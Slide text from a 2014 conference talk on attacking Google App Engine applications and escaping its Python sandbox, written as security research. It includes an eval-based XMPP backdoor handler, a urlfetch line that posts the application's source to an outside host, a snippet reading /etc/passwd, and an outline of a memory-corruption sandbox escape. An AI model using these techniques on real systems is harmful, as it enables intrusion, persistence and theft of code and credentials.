Google Apps Engine

G-Jacking AppEngine-based applications

Presented 30/05/2014
For HITB 2014
By Nicolas Collignon and Samir Megueddem
Introduction to GAE

G-Jacking
- The code
- The infrastructure
- The sandbox

Conclusion
Introduction
What is GAE?

- A Platform-As-A-Service for Web applications
  - SDK provided to develop, test and deploy GAE applications
  - services and back-ends are hosted in Google datacenters
  - Data can be hosted in Europe after filling the Extended European Offering form

- Supported programming languages:
Overview of the architecture

- A « load-balancer + reverse-proxy + application server + backends » solution
  - IPv4 and IPv6
  - HTTP, HTTPS, SPDY/3, SPDY/3.1, SPDY/4a4 and QUIC unified as a FastCGI interface
  - Can be connected with HTTP services within an internal network via Google SDC
Attacking the app implementation
Developers still...

- ... manipulate raw SQL queries
  - MySQL injections still happen in Google Cloud SQL
  - GQL injections seem more rare

- ... control raw HTTP responses
  - XSS still happen (even in GAE samples code...)

- ... need to implement security features and/or correctly use frameworks
  - CSRF are still possible
The urlfetch API

- Requesting external Web services
  - SSL certificates validation is not enabled by default
  - Developers may (forget to) use the check_certificate=True argument
  - Inferring with the Google resolver makes only sense if the domain servers are not hosted by Google

- Requesting GAE Web services
  - Google provide trusted (not spoofable) HTTP headers such as X-Appengine-Inbound-Appid or X-Appengine-Cron
  - but many applications extract the caller identity by using the User-Agent header

AppEngine-Google; (+http://code.google.com/appengine; appid: APP_ID)
Python RCE?

- How to obtain arbitrary Python code execution?
  - A Google account that manage the app. is compromised
  - By exploiting eval/unserialize/pickle vulnerabilities

- Pentesters want persistent shells
  - Install or inject a XMPP end-point and register an URL route

```python
class KikooHandler(webapp2.RequestHandler):
    def post(self):
        message = xmpp.Message(self.request.POST)
        x = eval(message.body)
        message.reply('%r % x')
```
set payload gae/py_bind_gtalk

- Directly interact with the application core components
GSOD: Google Screen Of Death

- DoS attacks turn into over-billing attacks
  - Most API are billed on a share-basis: CPU, Memory, storage and network services I/O
  - Daily or per-minute quotas can be setup

  ![Error](image)
  **Over Quota**
  This application is temporarily over its serving quota. Please try again later.

- IP blacklisting is supported
  - Blacklisted IP list is maintained by the customer
  - Applications are also exposed on IPv6 and efficiently blacklisting IPv6 networks is hard
Attacking the GAE infrastructure
Replicating Google @ home

Why all developments cannot be done off-line?
- GAE SDK testing tools cannot replicate all available services
- It costs money to deploy tests mails/files/databases/etc. servers
- Some bugs will be only visible when the application is deployed in Google datacenter: urlfetch API, SDC authorization, quota handling

What we see: Developers access sensitive credentials
- Developers can compromise more services than just the one needed for their needs
- Authentication tokens expires but can be renewed
- Having a distinct test Google App domain can enforce data isolation
An environment is not a version

- **Non-GAE applications: what we are used to see**
  - Development and production environments are isolated and have different security levels
  - Only 1 version of the application is running in production

- **GAE applications: what we often see**
  - Multiple versions *with and without* debug features of the same application are running *concurrently* on the same Google Apps account
  - We can attack the version “secure” PROD-V2 via vulnerabilities in “insecure” PROD-V1 or DEV-V3
Use case: getting the source code

- **Isolation between versions is possible but often not implemented**
  - Blobstore, Datastore, memcache and tasks queues are shared unless the application uses the *Namespaces API*

- **Most GAE applications trust data stored in the memcache back-end**
  - Pickle is often used explicitly or implicitly through sessions management libraries
  - Evil versions can easily replace trusted data with a malicious Python exploit
  - The “irreversible” download source kill-switch can be bypassed

**Warning:** This action is irreversible. After you prohibit code download, there is no way to re-enable this feature.

```python
__import__('google.appengine.api.urlfetch')
appengine.api.urlfetch.fetch(url="http://pouet.synacktiv.fr/",
payload=open(__import__('os').environ['"PATH_TRANSLATED"'].rpartition("/")[2][:-1]).read(), method="POST")
```
Use case: the provisioning API

- An application uses the GAE Provisioning API
  - Mostly used by large organizations that need to automate users management tasks
  - Sensitive API which requires a secret domain key

- Classic fail: production domain key is stored in an insecure place
  - Google User management cannot be replicated in-house so the primary domain key ends up hard-coded in the application source code
  - Accessing the domain key is as dangerous as compromising a Windows domain administrator account

- Cool pentesting post-exploitation tricks
  - Perform OAuth impersonations using the domain key to spoof accounts identity
  - Crawl Tera bytes of consumers data in few seconds with the power of Google services
SDC: hard-coded credentials

- When GAE applications are exposed to 3rd parties
  - They may need to authenticate both Google accounts and another kind of app-specific accounts
  - The SDC agent only accepts requests from connections authenticated with Google accounts
  - Developers need to hard-code some Google account credentials when dealing with requests coming from non-Google accounts
SDC: bypassing internal filtering

- **SDC agent white-list features**
  - App-Id filtering: it is not used once more than 2 GAE applications use the SDC agent
  - URL filtering: it is not used because each URL Web services must be defined in the configuration

1. Deploy app.
2. Contact firewalled server

Same Google App domain

Corporate network
Attacking the GAE Python sandbox: “Global overview”
GAE sandbox

- GAE OS (Linux x86-64)
- VM Python (32 bits)
- Python API
- GAE API
- Application
- Application
GAE sandbox

-high level API restrictions

API stub
- Whitelist native modules (eg: __WHITE_LIST_C_MODULES)
- Whitelist built-in modules (eg: __PY27_ALLOWED_MODULES)
- Override modules (eg: __MODULE_OVERRIDE)
- Override specific attributes of module (eg: stubs.fake_open)
GAE sandbox

NativeClient (64bits)
- Isolation between trusted code and untrusted code
- Exposing its own list of system calls (acting as a proxy)
- Emulate some (dangerous) system call

API stub
- Whitelist native modules (eg: _WHITE_LIST_C_MODULES)
- Whitelist built-in modules (eg: _PY27_ALLOWED_MODULES)
- Override modules (eg: _MODULE_OVERRIDE)
- Override specific attributes of module (eg: stubs.fake_open)
GAE sandbox

NativeClient (64bits)
- Isolation between trusted code and untrusted code
- Exposing its own list of system calls (acting as a proxy)
- Emulate some (dangerous) system call

API stub
- Whitelist native modules (eg: __WHITE_LIST_C_MODULES)
- Whitelist built-in modules (eg: __PY27_ALLOWED_MODULES)
- Override modules (eg: __MODULE_OVERRIDE)
- Override specific attributes of module (eg: stubs.fake_open)
Attacking the GAE Python sandbox:
“Development environment”
open() function is restricted when the GAE server is bootstrapped
Restricted API forgotten references

But a reference to “open” is kept in GAE context

```python
import os

def read_passwords():
    with open('/etc/passwd', 'r') as f:
        return f.read()

print(read_passwords())
```
Attacking misplaced hooks

- Python module os is restricted
  - Forbid commands execution
  - It’s a wrapper for the unrestricted module posix
Attacking the GAE Python sandbox: “@ google datacenter”
The LOAD_CONST opcode

- pushes co_consts[index] onto the stack
  - index is not checked against co_names tuple bounds if DEBUG mode is disabled
  - useful optimization feature :)

```c
/* Macro, trading safety for speed */
#define PyTuple_GET_ITEM(op, i)   
  (((PyTupleObject*)(op))->ob_item[i])
```

- GAE applications can create or modify code objects
  - The Google Python VM is not compiled with DEBUG mode
  - We can ask the VM to load a Python object from a tuple with an unverified index

```c
case LOAD_CONST:
    x = GETITEM(consts, oparg);
    Py_INCREF(x);
    PUSH(x);
```
Calculate the tuple index

- Have LOAD_CONST returns an arbitrary pointer
  - id() returns the base address of an object, heap-spray is not needed
  - We can fill the VM memory with arbitrary data

- \[
  \text{index} = \left( \text{id(evil\_obj)} - \text{id(tuple\_obj)} - \text{head\_size} \right) / \text{pointer\_size}
\]
  - We can compute the tuple index in order to reference an arbitrary memory area
bytearray object is helpful

- **bytearray object exposes r/w access to memory**
  - If we control the bounds of the mapped area if can r/w everywhere in memory
  - The *vtable* pointer used in object headers can be guessed
  - We use a innocent *string* object as a **container** for an evil *bytearray*

![Diagram of object structures](image)
Back to LOAD_CONST

- Packing everything: bytearray + tuple index + LOAD_CONST
  - We need 2 containers: 1 for the bytearray and 1 for the pointer to bytearray
  - We run LOAD_CONST + RETURN_VALUE bytecodes that returns a bytearray than can r/w arbitrary memory
  - If we try to access an unmapped addresses, the Python VM crashes

co_consts tuple
( PyObject *, PyObject *, ...)  
container #1
ByteArray  
container #2
pointer

tuple index adjusted to go here

- From arbitrary r/w to arbitrary code execution
  - We can patch Python objects methods pointers → we can call arbitrary address (control $rip)
  - We can patch Python VM .plt section → we can safely call arbitrary libc symbol

Python code
file('...').seek(A,B,C)
Python VM
fseek(A,B,C)
Python .plt
XYZ(A,B,C)
mmap()+ copy + mprotect()+ call
Black-box pentesting is fun

- Exploit reliable with many cpython versions but not where we want
  - arbitrary r/w to memory works @ google but...
  - ELF header not mapped in memory → no mmap() and mprotect() → no shellcode
Exploiting @ google

- Still having fun under the NaCL sandbox layer
  - We use the `bytearray r/w` exploit to recover `libc` symbols used by the VM
  - Call arbitrary `libc` (or others) methods with arbitrary arguments
  - Only the Python-level sandbox is bypassed, however you can chain with a NaCL 0-day if you have one ;)

![Diagram showing CPython and libc structures with pointers and heuristics](image)

- PyTypeObject pointers guessed with `id()`
- `.data`, `.text`, `.plt / .got`
- Method pointers, heuristics, and `.text` in `libc`, xrefs
- Disassembly paths
Conclusion
Final words...

- Google sandboxing is implemented in depth
  - Python sandbox can be evaded but it's only the first security layer
  - The SDK sandbox has no NaCL security layer

- Pentesting GAE environments
  - Classic Web attacks work because developers always need to code “securely”
  - Getting access to 1 GAE application source code or developer's workstation may lead to the compromise of several services used by one domain
  - An insecure SDC agent setup may help to bypass internal network firewalls

- The GAE framework is complex
  - It's not easy to migrate to GAE authentication and authorization models
  - Sensitive credentials are often hard-coded in the wrong places
THANKS FOR YOUR ATTENTION.

ANY QUESTIONS?